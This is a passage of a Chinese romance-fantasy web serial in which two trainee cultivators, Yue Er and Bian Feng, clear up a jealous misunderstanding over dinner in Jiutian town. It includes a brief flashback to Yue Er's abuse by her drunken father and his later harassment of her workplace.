越洱手肘一撑,坐起身,她四处张望,问鸟人:“不是说情境里被杀会受重伤吗?那人呢?”
“重伤的早送回本部了,边沁也回去了。”
鸟人一下下摘着草,青草汁液染绿了他的手指关节,越洱看到他右手食指上戴着一枚银色戒指。
“什么?边沁也受重伤?”
“没有,你放心,她只受了皮外伤。指挥组缺人,临时点她回去。”
“那就好。”
两人说着,并肩坐着。
忽然,二人之间的狭小空隙,一排锁链破土而出,游移向上,隔开二人。<
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鸟人刚攥住锁链要动手,就听越洱惊奇道:“揽月?”
鸟人放开手,那锁链“哗啦啦”摇头甩尾,响个不停,一排排朝越洱蹭去。
越洱被揽月蹭得发痒,笑呵呵说:“揽月,行了行了,怎么自己在这里?你家主人呢?”
鸟人的声音透过锁链“墙”传来:“边锋那武器?”
“是呀。”
突然一道清亮男声插入:“啊呀呀,揽月,好不懂礼貌。”
原野上,边锋踏着绿意走来,他笑得一脸无辜,抬手收了揽月,顺势一屁股坐在鸟人和越洱中间。
这一屁股,勉强挤进来,一下把鸟人和越洱都搡出去一截。
越洱堪堪坐好,挪了个舒服位置,转脸问边锋:“你怎么样?进去的什么情境?”
边锋脸上表晴瞬间晴转多云,他揉了揉脸,道:“别提了,边境,特别难受。”
鸟人告知他,边沁的卧底训练终止,人被临时调回指挥组了。
边锋耸耸肩,也没说什么。
这倒让越洱奇怪,不是说他们俩兄妹必须进吗?
越洱佝偻下腰,越过边锋去问鸟人:“鸟人老师,我们这两个多月都要在深渊下训练吗?”
鸟人也佝下身子,才能越过边锋,侧着看到越洱的脸:“保密,不过,也不会一直在。”
“……”这是哪门子保密。
越洱来之前,已经把小狗送到包子那边寄养,要是待很久还怪牵挂的。
三人坐在蓝天下,凉风习习,很是惬意。
“我们好像提前交卷,真好。”
越洱目视前方队列,微微笑着,低声说。
一般她这样就是困了,边锋于是转头道:“话说你进了什么情境?”
“啊,一艘船上,还穿成个男人……”
“什么?!你、你穿到一个男人身上。”边锋嚎出一大嗓门,吓得鸟人和越洱齐齐一抖。
“至于这么大惊小怪么?”鸟人嫌弃道。
边锋却一味看着越洱:“你、你有没有……”
“哈?”
“有没有趁机偷看?”边锋飞快说完这句话。
越洱:“偷看啥呀,顾得上么还偷看……”
“解手的时候也没有?”
越洱看他神色正经严肃,好似在谈什么学术,无语得直翻白眼。
“喂,”鸟人手肘拐拐边锋,道:“得了吧你。”
就见越洱转脸认真看着边锋,缓缓笑道:“再废话,撕烂你嘴。”
目光缱绻,很是温柔,只是笑起来两颗尖牙露出,很像小鲨鱼。
边锋老实了,抱膝乖巧坐着,嘴巴自动缝合,好似草原上孤苦伶仃小白菜。
鸟人和越洱讨论着情境设置,不多时,一个个通关的新人都苏醒过来。
他们也站起身,和队伍汇合。
确认再无伤者,鸟人们出列,给新人眼睛蒙上黑色的、绒毛制成的遮光条。
鸟人们呼啦啦带着众人闪现,其实这遮光条对越洱来说没区别,反正遮不遮的,只要不知道坐标和方位,根本无法返回此地。
鸟人的闪现很缓和,身处其间,就像人悬立于漆黑深水。
一睁眼,摘掉遮光条,就见一座石头雕砌的古城门,匾额高挂:
【九天镇】。
23.同一根吸管
还没进城门,就见青砖铺陈的的大道通往一个中心广场,各色纸鸢飘飞。
“我们今晚住这儿。”鸟人回身对大家说。
一行人来到广场边环绕的公寓,建筑有种异域风格,每层房间窗口修了小小的阳台,花草疯长,藤蔓爬满黑色铁艺栏杆。
每栋楼都挺窄,一层两个房间。边锋和越洱因为来自同一部门,分别领到601、602的钥匙。
他们走上旋转楼梯,打算先洗澡再出去找吃的。
越洱才将将关上门,扑到床上,门就“咚咚咚”敲响了。
一张黄色符纸溜着门缝飞出,纸上只画了一只眼睛。
只见那黑眼睛眨了眨,门就开了,符纸原地化灰飞散。
越洱抱着手臂斜靠在门框边,满脸质疑看着边锋,仿佛料定他来就没好事。
“嗨嗨~”边锋卷起嘴角,刻意挤一挤酒窝,笑道:“你一定带洗发水和沐浴露了吧?”
越洱淡淡道:“带是带了。”
可洗手台上不是有免费的嘛?
边锋趁机进来,夸道:“哇,你的房间好亮哦!我那间阴森森的。”
越洱唤出乾坤袋,飞来她家里常用的洗发水和沐浴露。
“喏,你先用。”
“啊,对了,你还没洗……你先洗吧,我等你。”
“……”
这得多久才能出去吃晚饭呐?越洱又从乾坤袋中飞出两个保鲜袋,一个袋子挤些沐浴露、一个袋子挤些洗发水。
“不要嫌弃啊,你先拿这里去洗,这样我们比较快去吃饭。”
边锋一边“嗯”声答应,一边慢吞吞接过保鲜袋。
他也晓得快点洗能出去吃饭,但从情境中出来以后,他不知为什么就很想粘着越洱。
于是扭扭捏捏,借这借那,好像就能和她多在一处,哪怕是坐在她旁边,等着她做事,看着她就很满足。
他打算找机会问问那天,梧桐大道她挽着的男生,是不是真是男朋友?
越洱见他还坐在藤椅上,肚子忽然咕噜噜响起来。
边锋这才回神,立马起身出去:“好,我也会快点洗,一会儿见。”
15分钟后,越洱洗好、换了舒服的衣物,踩一双软绵绵的懒人鞋。
准备出门吃饭,她头发也没吹,随便擦一把,用法力烘个半干,就打开门走出去。
边锋靠在旋转楼梯处等她,一见她来就笑:“比想象中快嘛。”
越洱报之一笑,问他:“想吃什么?”
“有肉就行。”
他们走到广场之外的小巷,这里以广场为圆心,一条条小巷子放射朝外。
二人选了看上去人稍微热闹的一条,道旁很多店铺。
越洱忽然停住脚步:“我想喝这个。”
她指的那家,是饮品店,招牌上品类琳琅满目。
“好呀。”
二人走近店门,小小一间,很是干净明亮,空气中飘着花果香气。
选择太多,边锋犯了难,就见越洱手停在菜单上,她对柜台里的店员说:
“要一杯玫瑰小圆子奶白酒,冰的,不放糖。”
店员应“好”,又问:“这位帅哥喝什么?”
边锋却没选好,说:“先做她的,我还没决定。”
店员转身进操作台,越洱头一回见他这么纠结,选得很投入,口中还自言自语:“奶白酒的好喝么……”
她差点脱口而出:一会儿做好你先喝喝我的,看喜不喜欢再点。
心中又有声音阻止自己:注意分寸。
边锋平时爱开玩笑,也许就是他来自一个和睦友爱的家庭,不代表什么。尤其在他极有可能有女友的情况下,这个边界就得由自己拿捏好。
他说的什么“喜欢你叫我阿锋”,如今想来也是当时故意“恶心”边沁,故意在妹妹面前“讨嫌”的戏言罢了。
若是自己真当了真,到头来只会贻笑大方。
于是越洱沉默不语,耐心等着自己的饮品。
店员拿纸巾擦水汽:“玫瑰小圆子奶白酒好啦。”
越洱接过来,吸管刚拆开插进去,面前就凑过来一个毛绒绒的、头发浓密的脑袋。
“好香哦,我可以尝尝吗?”
边锋说得很自然:“好难决定,什么都想喝。”
就因为他说得太自然,越洱反而有一瞬间怀疑自己,是不是朋友一齐买奶茶这么做很自然,不要用同一根吸管就好了。
但是他喝了以后,自己当面抽出这根吸管、扔掉,又拆根新的换上,是不是又会让人很难堪……
她正纠结不已,看见边锋眨巴着眼睛盯着自己,话更难说出口了。
边锋却像突然看懂了,笑道:“啊,想好了。”
他扭头对店员说:“麻烦来一杯草莓拿铁吧,冰的,7分甜。”
他说完,吸着腮对操作台发呆,目光空空的没着落,手指一下下点在柜台上,像在感触上面被划伤的那块儿。
越洱看着他,直觉他有些难过,一下子也不知所措起来。
不是,其实也不是不能给他喝呀,干什么忽然搞得很奇怪很尴尬了。
她拿着饮料,一下子下不去口,手心传来冰块的冷气。
空气静悄悄的,仿佛能听到冰块消解的“嘶嘶”声音。
“那个……你想试试我这杯吗?”越洱几乎是耳朵烧着说出这话。
边锋眼神凝聚,垂眼看向她手中那杯微微抬高的玫瑰粉色饮品,忽而有些泄气。
他抿着嘴笑笑,轻轻摇头:“不用了,你喝吧。”
一直以来,都是他厚着脸皮朝越洱靠近。
越洱呢,总是淡淡的、高冷的。也许面子上不会明摆着冷,但总归也是客气、疏离,好像是出于不好意思拒绝,或者没想好怎么拒绝,才容忍他的亲昵。
边锋微不可查地咬了咬下嘴唇,他回想自己种种主动、种种不知趣和没眼色。
也许不后悔,但也伤自尊。
他从小是个心高气傲的人,表面亲和、好相处,长相也无甚戾气,但内心里却很难相信别人。
他家庭好、学业好、人缘好,从最好的学校毕业,直聘入职业禁林玩家队伍。
一路来除了父母意外身亡,可谓是走得顺遂。
这一刻,却也忍不住低看自己,又因为这低看而更加自我厌弃。
越洱不是早就拒绝了吗?非要把话一字一句说那么清楚,戳到他心口里,自己才知疼吗?
他想起越洱淋雨回来那晚,那冰冷的眼神,和自己毫无干系的沉浸,沉浸在她的世界、她的情绪之中。
想来是和约会的人闹了不愉快,但那时,他连他们闹别扭也嫉妒。
嫉妒有那个人,能
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和她手挽手慢慢散步在梧桐叶下,能和她亲密,又能和她吵架,牵动她的情绪,让她一整夜想着他。
“这杯也好咯。”店员走出操作台,边锋回过神,掏出手机一下扫了钱。
快得越洱来不及阻止:“诶,我来就好了……”
边锋接过自己的饮料,微微勾着嘴角笑:“没事,走吧。”
他这笑,在越洱眼中,显得是受了委屈一般,又乖又可怜。
两人边喝边走出店门,继续找要在哪家吃饭。
气氛却大不如前,虽还是并排走着,距离却拉开很多。
明明出来都说好饿好饿,现在却一个走得比一个慢,互相都不说话,深一脚浅一脚等着对方。
越洱不敢去看边锋的侧脸,似乎他那种若有似无的委屈都怪自己当时犹豫。
也许他很少被人拒绝,把自己当好朋友,提出个很寻常的小要求,却意外被拒绝刺伤。
越洱也是敏感之人,自然能理解这是什么滋味。
她好像复读机一般,今天只会说这句话了:“你……有没有想吃的?”
边锋迷茫看了周围一眼:“听你的,我都可以的。”
“那我们吃、吃这家吧。”
她看见街边有家泰国菜,店里几乎坐满了,想来不会多难吃。
随即快步走进去,怕占不到桌子。
边锋点头说好,整个人却好像出了故障的机器人,慢悠悠喝一口草莓拿铁。
半天咽不下去,鼓鼓地藏在脸颊边,下嘴唇嘟嘟的泛着水光,好像一只喝高了的小仓鼠。
越洱无语,转回身去拉拉他手肘处的衣料,提醒他走快些。
边锋却五感封闭,仅剩一丝触角通达,他转头望向越洱,似是难以置信:
你现在碰我都只捏着点衣服?就嫌弃到这种地步么?
他眼神受伤,愣愣走到一桌空桌前,坐下了。
越洱不懂边锋方才递过来的眼神,好像自己把脏东西捏上他手肘处、沾脏了他衣服一样。
她也拉开椅子坐下,二人坐的对面,却一个身子偏左,一个身子偏右。
嘴里说些无意义的闲天,哇这个桌子擦好亮,啊他家生意蛮好的,是呀是呀,眼神却没对上哪怕一次。
边锋更是像个受委屈的小媳妇,眼睑边红红的,不停地上下左右抿着唇瓣,时不时露出小孩才有的赌气模样,上唇瓣收进去,下嘴唇嘟出来。
他垂着眼光看眼前的饮料,本来三口能喝完半杯,现在抿半天,也不见“水平面”落下去半点。
越洱连点的什么菜也不记得,只知道服务员过来给他们介绍今日特供、最受喜爱top3什么的。
她眼睛死盯着菜单,余光却忍不住去扫边锋。
口中“嗯嗯”应着服务员,看边锋那副样子,估计还是说“听你的”,就随手指了几个受欢迎的菜,反正有肉就行。
服务员收好菜单,吆喝着朝厨房走去,桌上又陷入沉寂。
越洱难受得浑身发麻,早知如此,干脆分开点个外卖好了,也不知道这里有没有外卖业务。
她思来想去,还是自己不妥,就算避嫌,大不了让他喝完再悄悄换个吸管嘛。
边锋也想找些话题,于是沉默良久后,两人对上视线,餐桌上响起两句异口同声的话:
“你……”
“你……”
24.要你喂我
二人同时开口,皆是一愣。
边锋道:“你先说。”
越洱却一下忘了刚才想说啥:“呃……你有什么忌口吗?”
边锋摇摇头:“我都可以吃。”
扯呢,边锋明明口味蛮挑,也不怎么吃辣,但越洱反正也是临时想出来的话,菜都点了,才问人家有什么忌口。
她决定怎么也搞个能延续的话题:“妹妹回去了,没关系吗?到时候她不能进灵山胜境怎么办?”
边锋道:“没事的,她可以随法力部其他人一起去,估计也都是住在同一处。”
“之前你说你们必须进去,可以问问为什么吗?”
边锋一愣,思索一番,还是觉得不适合在此时此境讲,外加心情低落,不想提起伤心事,于是只摇摇头,对越洱笑道:“我自己想拉她一起去罢了。”
“……”
说到这儿,越洱实在不知该问什么,还好菜陆续上来了。
略有愧疚的越洱,很狗腿地抢着拿筷子,递给边锋。
边锋道谢接过,拆了筷子却放在盘边。
两人干巴巴瞪着菜,都在等对方先下筷子。
“……”
越洱先破功,说:“吃吧,今天你也饿坏了。”
说完她嫌自己废话多,不知怎么,从刚刚起,气氛就顺其自然地滑落,好像必须小心翼翼相处一般。
边锋点头,捏起筷子,还是等她先开动,以往一起吃饭,边锋都会先给她夹一块什么。
如今想来,越洱莫名觉得心下一刺。
为了这顿饭能吃下去,她先开动了。
热腾腾的菜肴,色香味俱全,他们都是吃饭速度很快的人,今天难得优雅斯文,吃了半天,菜只受点皮外伤。
吃得越洱肚肠咕噜噜响,边锋听见这动静,一愣:“多吃点。”
随即拿一个新碗,给她盛起冬阴功汤,大虾、贝肉盛得满满当当,几乎没给他自己留肉。
越洱看他这么乖,心里更是不忍,她道:“那个,你刚刚,是不是有点难过了?”
边锋怔愣一瞬,他以为自己虽然没有刻意伪装,但面上还是沉静如水的,哪晓得这么明显,是对越洱拉脸子了吗?
越洱道:“因为饮料店里……是么?”
她不想把细节说得太清,可能边锋听到会觉得窘迫。
没想到,边锋却轻轻点头道:“……嗯,是有点难过。”
边锋垂着眼看盘子,浓密睫毛上竟然像挂了一丢丢小水珠,几不可见,但眼尾却着实泛着红。
这下越洱方寸大乱,这这这,这是会把人弄哭的程度吗?她最不会安慰人了,怎么办!
越洱连忙递上纸巾,边锋接过,头却更低下去,几乎看不见他的表情,只见眉眼和高挺的鼻梁。
纸攥在手心揉得很皱,他没用,似乎在倔强表示自己没有要哭。
越洱道:“那个,你别难过呀,我……”她心一横,终于道:“我是想着,可能保持一点边界,嗯,才对你喜欢的人比较尊重,毕竟有的人会介意的……”
边锋闻眼,顿了顿,抬起头来:“啊?”
他顾不上眼睛红红、泫然欲泣的狼狈面貌:“啊?什么喜欢的人,你不就嫌弃我同你喝一杯吗?”
他抬眼和自己对视,越洱却突然心虚,手上忙乱起来:“反正就,嗯,我肯定不是嫌弃你。”
边锋看她突然整理起勺子,莫名其妙折叠纸巾,一副很忙的样子,不和自己对视,追问道:“你说什么喜欢的人?”
越洱脑中一帧帧放着【绿荫里】餐厅的画面,她还没去吃过,却对里面的每一处景致都快烂熟于心。
但是难道要她说,自己从窗外头看见了边锋在给一个大美女擦嘴?总觉得很别扭。
她抬眼,看到边锋认真看着自己,也只好说:“有天偶然碰见你和……一个女生,在餐厅吃饭。就,挺般配的。”
边锋眉头紧锁,苦苦思索自己和哪个女生吃了饭,最多不就是和边沁么。
不对,还有那天,和古琦——正好是梧桐大道!看见越洱手挽着别人走过。
“她嘛?我姑妈家的女儿……”说到这儿,边锋似是灵光乍现,隐约猜测到一点什么,又不敢确定。
他眉眼舒展,略带邪气,笑意盈盈看着越洱说:“我跟表妹一起吃的,她叫古琦,那段时间和家里闹别扭,姑妈让我同她聊聊。”
越洱脸“腾”一下子热起来,想到自己那天吃些莫名其妙的飞醋,还顾影自怜关在房间里伤心了一番……
真是……
她小声说:“哦,哈哈哈,原来是表妹,怪不得长得不像呢……”
边锋往后一靠,微仰起下巴、抱臂看她:“那你呢?那天挽着个男人,蹦蹦跳跳可开心?”
二人对视,越洱一时脑子转不过弯,她啥时候挽着个男人蹦蹦跳跳?
话说边锋也看到了自己?
边锋忍不住怨气,故意把话说得很调侃很夸张,其实他只看到二人背影,哪儿来的蹦蹦跳跳。
越洱脑中闪过自己挽着包子的回忆,“噗”一下笑出声。
“你笑什么?回想个男人,还给你越想越开心上了?”
边锋气鼓鼓质问,仿佛刚才抽干的生命力又回到身上来。
越洱忍不住笑,却又忽觉对不住包子,生生憋回来。
包子和她第一天见面,是初中开学分班,最巧的是,她俩分到同一个宿舍。
包子头一回脱离父母掌管,很是放飞,就乐意吃些平时家里不让买的方便面、零食、糖果。
那天,12岁的小越洱和小包子一齐来到小卖部,包子兴奋地挑着方便面,这个口味也想吃、那个口味也喜欢。
越洱倒是太常吃方便面了,没人管她,她吃得看见方便面就害怕,转而去买冰棍。
老板娘看她俩隔空选东西还要叽叽喳喳讨论新班级,包子那时候没发育,头发剪得和班级里男生差不多,老板娘笑呵呵调侃道:
“哎哟,你们两小个,可不兴一上初中就早恋哦,要好好读书,知道不?”
那是人生中第一次,她和包子被误认为小情侣,以后还有无数次。
如今没想到,竟有被边锋看错的一天。
越洱笑完,才对他说道:“什么男人,那是我最好的朋友。”
“最好的朋友,哦,还搞点蓝颜知己?”
“她是女生,喜欢剪短头发。”
“……”
边锋似乎一时不知该不该信:“是么?”
他见越洱点点头,深褐色的眼瞳,显得很深邃、很认真。
他算是服了,要是早点问出口,也不至于多那么些小心、顾虑,还白白吃了不少飞醋。
边锋捂着额头往后一倒,浑身都松快起来。
紧接着,他又立马坐直,直勾勾盯着越洱问:“那,你有喜欢的人吗?”
越洱闻言一愣,这怎么说?
什么算喜欢?好感是喜
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欢?还是真的很喜欢很喜欢,才叫喜欢?
她挪一挪手边的杯子,思忖一番才开口回答:“没有。”
没有……吧?
她不想对边锋暴露太多心思,那好像是一种——“先输”。
万一自己说,我有喜欢的人,但是边锋完全没有那意思,还八卦追问道,你喜欢的谁。
总不好现场编一个其他人出来挽尊。
越洱说没有喜欢的人……
边锋一时不知该高兴还是难过,高兴那不过是场误会、自己还有机会;难过她对自己没感觉,而自己已经……
已经怎样呢?
这究竟是一时上头、两个人频繁待在一起所致的冲动?
还是真正可以信赖、值得顺着走下去的宿命感?
泰餐厅里,前台忽而打开总的风扇开关,为大家祛热。
边锋这才注意到,手心微微沁出的汗。
他撕开湿纸巾仔细擦擦手,脑中绽放开甜丝丝的气泡,很多模糊不清的画面在眼前展开,似乎未来很长,他俩之间,一切都有可能。
他忽然想到什么,笑眯眯抬眼望向越洱。
越洱也感应到他炙热目光一般,眼神从转动的风扇上移过来看他,似在询问,又像在说:你可以什么都不说。
边锋的心涨起暖流,他想什么也不管不顾,别管是冲动还是宿命。
他想吻她柔软的唇瓣,脱口的话却是:“那你给我道歉。”
“哈?”越洱估计他在说那杯玫瑰小圆子奶白酒,嘴角抽了抽。
她看饮料还剩大半杯,只是冰块全化掉了,于是说:“好了,对不起嘛,明天再请你喝,几杯都可以。”
虽然也不是说这件事多值得道歉,但看他方才那个委委屈屈的小样子,觉得蛮好笑的。
边锋却也看向那半杯玫瑰奶白酒,认真说:“我想要现在尝尝。”
“……这杯?被我喝得,呃,冰都化了。”越洱有些尴尬。
边锋就这么静静盯着她,不说话。
“你确定?”
真要喝这杯啊,有必要么?
边锋故意湿红了眼,低着头丧气道:“我晓得了,你就是嫌弃我的……其实也能理解……”
越洱赶忙拿起饮料往他眼前一递,真是服了:“喏,你自己要喝的。”
对面的人却迟迟没有接,搞得越洱也摸不清头脑,握着饮料的手摇了摇。
“你喂我……”
声如蚊讷,很小很小,但越洱还是听清了。
“……”
她满脸黑线,有点拿边锋没办法,这人是不是太会撒娇了,还是怪她太容易被动摇,随便一点也顶不住?
“要不要抱着你再裹个襁褓喂你?”
她“哐叽”把饮料放在对面桌上,收回手开始拈菜吃。
爱喝不喝吧,可余光中,边锋又委屈巴巴垂着眼,不看自己,也不吃菜。
“……”
“……”
服了,真服了,今天也算给她遇到了。
越洱放下筷子,擦擦手,神色凝重地强迫自己伸出手,重新拿起对面的玫瑰奶白酒。
边锋忽地瞥一眼她动作,又收回视线,特像家里小狗看见她拿着鸡肉干走近,明明看到了还装佯,目不斜视瞪着正前方,就等越洱蹲下唤它过来吃。
越洱气笑了,微微往上抬一下杯子,吸管送到他唇边。
“小少爷,要不要喝一口又香又甜的奶白酒哇?”
25.讨人喜欢
老式风扇摇头摆尾,嗡嗡转动,凉丝丝的风顺着边锋修长脖颈灌进衣服。
他听越洱笑笑的语气,又无奈又宠,一下子坐正,嘴巴乖乖咬住吸管,手却贴上越洱捏着杯子的手背。
滚烫的手心熨贴上越洱凉凉的手背,那块皮肤像是烫了一下。
越洱差点放开杯子,但边锋嘴还叼着吸管在慢慢喝。
她感到那手指轻微划过手背肌肤,霎时激得背后一紧,于是把杯子顺势放到边锋手中,退回来慢慢吃菜。
边锋见她撤了手,有些不甘心,又觉得够了。
毕竟越洱现在不喜欢自己,要是太那个,也太那个了。
他心尖又痒又烫,越洱这人,说冷吧,又隐约纵着自己胡来。
她越是这样,边锋就越想欺负她,看她又羞又窘,还故作镇定的倔样,会很……爽?
二人吃了晚饭,走出来时夜色已深。
街上人影稀疏,不似不眠市那般夜夜笙歌。
晚风吹拂着头发,二人慢慢走在九天镇的石板路上。
“你会喜欢什么样的人?”边锋忽然问。
越洱微怔,她还真不知道自己喜欢什么样的:“对于喜欢的人……没有特定类型吧,我只清楚自己绝对不喜欢哪些特质。”
路灯下,边锋眼睛亮亮的:“是么?那你绝对不喜欢的特质有哪些?”
“嗯,比如不喜欢喜怒无常、像一颗不定时炸弹的。”
就像她爹越莫管,外人面前幽默风趣,又体贴又周到,他在KTV遇到某个十几年不曾来往的老同学,会大手一挥,就包下对方一晚上几千上万块钱的消费。
但深夜熏染酒气回到家,越莫管会笑着凿门,惊醒越洱——
“好姑娘,爹跟你玩个游戏……”
越洱直到现在也害怕别人敲门的声音,她恨不得这世上没人知晓她的居所,她愿意带着小狗藏在永远没人找来的地方独活。
越莫管会笑着招手,笑着让她拿拖鞋,笑着掏出几百块钞票塞给她。
下一秒,他咧着嘴说:“爹教你,你不晓得外面社会多少人盯着你们这种小姑娘。”
他蹲身假作换拖鞋,却突然一把抓住越洱脚踝,拿力一拖,小越洱沉沉砸在地板,尾椎骨碎裂般疼痛。
越莫管笑着,站起身来,紧抓着她脚踝,好像在拖行一口麻袋。
他拖着她绕行在这间租来的屋子,一脚踹上小越洱的屁股,把她的脑壳顶上桌脚、墙面。
越莫管狂声大笑,楼道的声控灯忽明忽暗。
小越洱拼命护着头流泪,她看到老房子的白炽灯,似乎永远有角落照不亮。
她看到怪物的尖牙和黑色的头颅遮住白炽灯光,黑暗倾轧下来。
她喊不出声,她尿了出来。
血染进她通红的眼,尿濡湿本就冰凉的裤子。
眼前,边锋的脸在路灯下染着昏黄光晕,柔软的绒毛在灯光下隐约可见,好像她从未敢奢望过的救赎。
边锋很认真望着她:“还有呢,不喜欢什么?”
“还有……不喜欢永远存在别人转述中的爱。”
“嗯?”
“好比说,我妈嘴里永远在说我爹多爱我们,但我一丝一毫也没感受到。”
你爹多爱你,你进手术室之前,他看见医生拿那么大一个针筒捅进你鼻子,自己悄悄出门抹眼泪了。
边锋道:“我理解了,就是他不表达、你也体会不到的爱。”
越洱说:“其实,哪儿有那么多爱,只有表达出来的爱才算数……”
边锋笑着,眉眼弯弯:“这对你自己成不成立呢?”
“什么意思?”
“你心里的爱会全部表达出来吗?没有表达的部分还算数吗?”
“……”
越洱沉默了,她不会。
“这么说来,我很双标,我只承认对方表达出来的部分,但是我自己却不会百分百表达。”
她仰头望边锋:“那你呢?你怎么爱、怎么表达?”
边锋道:“其实我是另一种双标,我需要先确定对方的爱,才会全部投入。至于表达,有些表达只是为了讨人喜欢罢了。”
越洱一愣,有些表达只是为了讨人喜欢……那就是,一种社交需要?
不用走心的,纯然技巧的。
她心里释然又酸涩,笑道:“你是很讨人喜欢。”
不知不觉间,他们已经走到广场,一个女神雕像伫立在中心,喷泉静静缓缓地流动。
边锋忽然转身站在她身前,截住她的步伐。
“你真觉得我讨人喜欢吗?哪种?”
“就是,很可爱。”
边锋下意识笑了下,又似有不满:“光是可爱?”
越洱轻轻推开他:“可爱很难得呀。”
他步步紧逼:“你好敷衍,可爱就是对小猫小狗也可以随口夸出来的。”
“谁说的?可爱就是,可以爱,值得爱。值得爱,这不难得吗?”
哪怕就如边锋所说,表达只是为了“讨人喜欢”,哪怕一切是他的社交需要,她还是判断,边锋是个可爱的、值得爱的人。
边锋听她这么解读,顿时开心起来,笑得鼻子皱皱,心里甜滋滋的:“是吗?”
他看见越洱笑着朝他点点头,眼底却有落寞一闪而过。
她明明很直接,却又这么难懂。
二人散步回到公寓,抬头望去,十层的小楼,朝广场这一面,还有好几间亮着灯光。
前台没有人值守,他们走上旋转楼梯,在六楼的转角平台互道晚安。
关好房门,越洱通灵阵中忽而响起劳山风的声音。
“越洱,找到了,你有个同事叫罗成荒吧?”
自从那赌鬼爹找上自己工作的地方,越洱就疑心他一介凡人,怎么就神通广大、如此精准找到法力部。
越洱入职时并无公示,入职以来又几乎都在出外勤,跟同部门前辈都鲜少接触,总不至于这么快得罪谁。
也只有溜金抱那件事,戳到了他的狗腿子罗成荒。
*
今日午时,法力部门口。
长椅上横躺着一个酒气熏天的中年男人,此人双眼高肿、脸蛋油光发亮。
他一副纵欲浑沉之态,花白头发耷在眼上,五官依稀还能看出年青风流时遗迹,如今却埋在酒色塑造的皮肉中,只留疲颓。
椅子之后,一个支架拉开鲜红横幅:
【法力部越洱,弃养
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生父,虐待老人,天理难容!!!】
法力部上班的人从门前路过,都忍不住看上一眼。
两个大喇叭用钢丝绑在支架杆上,同步播放着录音,内容与横幅上的大字别无二致。
男人粗哑的声音循环播放在法力部,越洱弃养生父天理难容,低楼层的办公室听个一清二楚。
那些完全不认识、没见过越洱的人,循环听上两天,也被迫记住这个“不孝女”。
中年男人踢开皮凉鞋,一手支着皮凉鞋侧躺着,一手捏着个红苹果咔咔啃。
他身上衣着污秽,可待仔细一看,竟还是早些年出的奢品,只被他穿得糟蹋变形。
他啃到最后,又张开大牙去咬果核,在嘴中抿动,随后噗噗吐籽。
一个肌肤白皙、笑眼弯弯的女子走过来。
他闹事这些天,法力部的人早已从惊奇褪为厌烦,鲜少有人围过来看,只有值班的鸟人会来提醒他喇叭声音放小。
他脸上阿谀奉承“是是是”,那鸟人一走,他照旧把喇叭调到最大。
待警察出动来劝,他就往地上一瘫,哭着喊着,一把鼻涕一把眼泪:命苦啊我老头子没人养,命苦啊,杀千刀的不孝女……
警察来了一次,对他无可奈何,欲先收去他的横幅和喇叭。
他登时如青蛙盘腿坐着弹跳,一跳一跳抱住那警察的褪,死死拽着制服裤子:杀人啦!谋财害命啦!我的东西我的东西,谁敢拿我就死他家门口,啊啊啊我去你家门口上吊!
更别说这些修仙的,光天化日朗朗乾坤,更不敢拿他一个无辜凡人怎么样。
于是看到眼前主动走过来的女生,衣着干净有质感,耳饰闪闪发亮,他着实没料到这种生活光鲜的修仙者会来沾染他这包糟烂泥。
一颗黑色的苹果籽“噗”地沾上女生光鲜亮洁的裹身裙裙摆。
越莫管抬起肿眼皮,眼球上移,却见那女人神色已久,和煦笑道:
“叔叔,您是越洱父亲吧?”
越莫管吐出最后一颗黑籽,任它落在女生裙上,拄着脸道:“哼,看看她怎么对亲爹的。越洱这个贱人呢?她不敢来,叫你来?”
边沁莞尔一笑:“叔叔在这儿晒一天,肯定饭也没好好吃。”
越莫管晃着膝盖,开开合合,根本懒得理她。
自己这趟过来,就是要搅得鸡犬不宁,怀柔政策么,越洱那个上司早就来过了,根本没用。
这些正人君子就怕他这种泼皮无赖,那么好,他越莫管就是最地道的泼皮无赖。
边沁俯身,撩起一缕头发笑道:“越洱真是做人不厚道,您看赏个脸,我们先到停云阁吃点儿?”
越莫管手往后一抛,抛开啃个精光的苹果核碎渣。
他头一次抬眼认真看眼前这姑娘,停云阁是闻名遐迩的高档餐厅,消费不低。
他越莫管年轻时候也是手里拿过大钱的人,现在却为了那女人的区区十万块,来丢人现眼。
不过丢人现眼也无大碍,说不好自己两边吃,那女人拿十万,越洱这边再榨几万——
何况眼下,这个冒出来的小妞,看起来日子过得不差,说不定能三边通吃?
越莫管睨一眼边沁,抠抠脸问:“你请客?”
26.发大水啦
九天镇。
“笃笃笃”,门响了。
“越洱,睡了吗?”外头响起边锋的声音,多亏他,越洱快对敲门声脱敏了。
她先在通灵阵和劳山风告别,理理头发才打开门:“不是说晚安?还没安呐。”
此时边锋是没事找事来的,略感不好意思,他一边推门进来,一边调整身姿试图自然些坐下。
屋内只有洗手台的一盏灯点亮,淡黄的暖光投过来,照在边锋柔润的肌肤上,一张俊脸半明半暗。
越洱心漏跳一拍,她不动声色将目光从边锋身上移开,暗光下眼睫颤颤,映在墙上像受惊的蜻蜓扇动翅膀。
“说吧,来借什么?”她问。
“我来……借个蜡烛。”边锋现场编完,自己先窘住了,耳朵都红红的。
越洱坐在床边,面对着他坐的椅子:“哥,太看得起我了,你以为我随身杂货铺啊?”
边锋自然是知道问她借蜡烛有多傻气,可是眼下一时半会儿想不到缺什么。
他将才回房,翻来覆去睡不着,意犹未尽回味着俩人今天的相处细节。
前几天莫名其妙的乌龙、误会解开了,他们也好不容易有了单独相处的时间,这个夜晚不该就此结束。
“……我房间好冷,有鬼一样。”
“是么?”越洱应着,心说该不会是叫【八百个心眼子鬼】吧?
见她不接招,一味装傻,边锋直接说:“我可以搬过来打地铺吗?”
他一脸坦然,语气也淡淡的,疑问说的像陈述。
越洱瞄他一眼,看他脚尖在椅子腿边“嗒嗒嗒”点动。
“不可以。”
“好嘛。”边锋接话很快,似乎早就想到她不会答应,又好像说快些能掩盖被拒的尴尬。
房间陷入沉寂,两个人都没话讲,边锋僵硬地摩擦两下膝盖,从椅子上站起身来,
半明半暗的脸庞完全隐没如黑暗中。
越洱倒不觉得自己拒绝有什么不妥,他们解开了一次误会,但还是同事。
何况边锋说,有些表达只是为了讨得别人喜欢,她需要时间来消解这句话。
如果边锋一个随意的社交习惯,被她自己过度解读,甚至傻傻脑补“他对我有好感”,那下场一定惨过挖野菜
过去的恋爱经验告诉她,男人三分能演成十分,先上头就输定了。
她以一种迟来的缓和口吻说:“早点休息吧,话不用一晚说完的。”
边锋笑着冲她点点头:“晚安,这回是真的。”脸上落寞不减,他轻轻带上门,回到了602房间。
越洱站在原地忍不住笑了,边锋真的脸上藏不住心事。这次进情境找卧底,他究竟怎么混成的?暴露时间比越洱还晚些。
